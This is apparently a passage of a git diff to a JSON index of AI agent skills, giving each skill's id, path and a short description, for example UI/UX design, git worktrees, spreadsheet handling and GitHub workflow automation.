"description": "UI/UX design intelligence with v2.0 Design System Generator. 57 UI styles, 97 color palettes, 57 font pairings, 25 chart types, 100 industry-specific reasoning rules across 11 tech stacks (React, Next.js, Vue, Nuxt.js, Nuxt UI, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). NEW: --design-system flag generates complete design systems with pattern + style + colors + typography + effects + anti-patterns. Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code, generate design system. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, soft UI, AI-native. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, design system generation."
"description": "\"UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples.\""
},
{
"id": "using-git-worktrees",
"path": "skills/.disabled/using-git-worktrees",
"name": "using-git-worktrees",
"description": "Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification"
},
{
"id": "using-git-worktrees",
@@ -317,6 +713,12 @@
"name": "using-git-worktrees",
"description": "Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification"
},
{
"id": "using-superpowers",
"path": "skills/.disabled/using-superpowers",
"name": "using-superpowers",
"description": "Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions"
},
{
"id": "using-superpowers",
"path": "skills/using-superpowers",
@@ -335,6 +737,12 @@
"name": "verification-before-completion",
"description": "Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always"
},
{
"id": "web-artifacts-builder",
"path": "skills/.disabled/web-artifacts-builder",
"name": "web-artifacts-builder",
"description": "Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts."
},
{
"id": "web-artifacts-builder",
"path": "skills/web-artifacts-builder",
@@ -353,6 +761,12 @@
"name": "webapp-testing",
"description": "Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs."
},
{
"id": "workflow-automation",
"path": "skills/workflow-automation",
"name": "workflow-automation",
"description": "\"Design and implement automated workflows combining visual logic with custom code. Create multi-step automations, integrate APIs, and build AI-native pipelines. Use when designing automation flows, integrating APIs, building event-driven systems, or creating LangChain-style AI workflows.\""
},
{
"id": "writing-plans",
"path": "skills/writing-plans",
@@ -370,59 +784,5 @@
"path": "skills/xlsx-official",
"name": "xlsx",
"description": "\"Comprehensive spreadsheet creation, editing, and analysis with support for formulas, formatting, data analysis, and visualization. When Claude needs to work with spreadsheets (.xlsx, .xlsm, .csv, .tsv, etc) for: (1) Creating new spreadsheets with formulas and formatting, (2) Reading or analyzing data, (3) Modify existing spreadsheets while preserving formulas, (4) Data analysis and visualization in spreadsheets, or (5) Recalculating formulas\""
},
{
"id": "prompt-library",
"path": "skills/prompt-library",
"name": "prompt-library",
"description": "Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks."
},
{
"id": "javascript-mastery",
"path": "skills/javascript-mastery",
"name": "javascript-mastery",
"description": "Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals."
},
{
"id": "llm-app-patterns",
"path": "skills/llm-app-patterns",
"name": "llm-app-patterns",
"description": "Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability."
},
{
"id": "workflow-automation",
"path": "skills/workflow-automation",
"name": "workflow-automation",
"description": "Design and implement automated workflows combining visual logic with custom code. Create multi-step automations, integrate APIs, and build AI-native pipelines. Use when designing automation flows, integrating APIs, building event-driven systems, or creating LangChain-style AI workflows."
},
{
"id": "autonomous-agent-patterns",
"path": "skills/autonomous-agent-patterns",
"name": "autonomous-agent-patterns",
"description": "Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants."
},
{
"id": "bun-development",
"path": "skills/bun-development",
"name": "bun-development",
"description": "Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun."
},
{
"id": "github-workflow-automation",
"path": "skills/github-workflow-automation",
"name": "github-workflow-automation",
"description": "Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues."
},
{
"id": "address-github-comments",
"path": "skills/address-github-comments",
"name": "address-github-comments",
"description": "Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI."
},
{
"id": "concise-planning",
"path": "skills/concise-planning",
"name": "concise-planning",
"description": "Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist."
}
]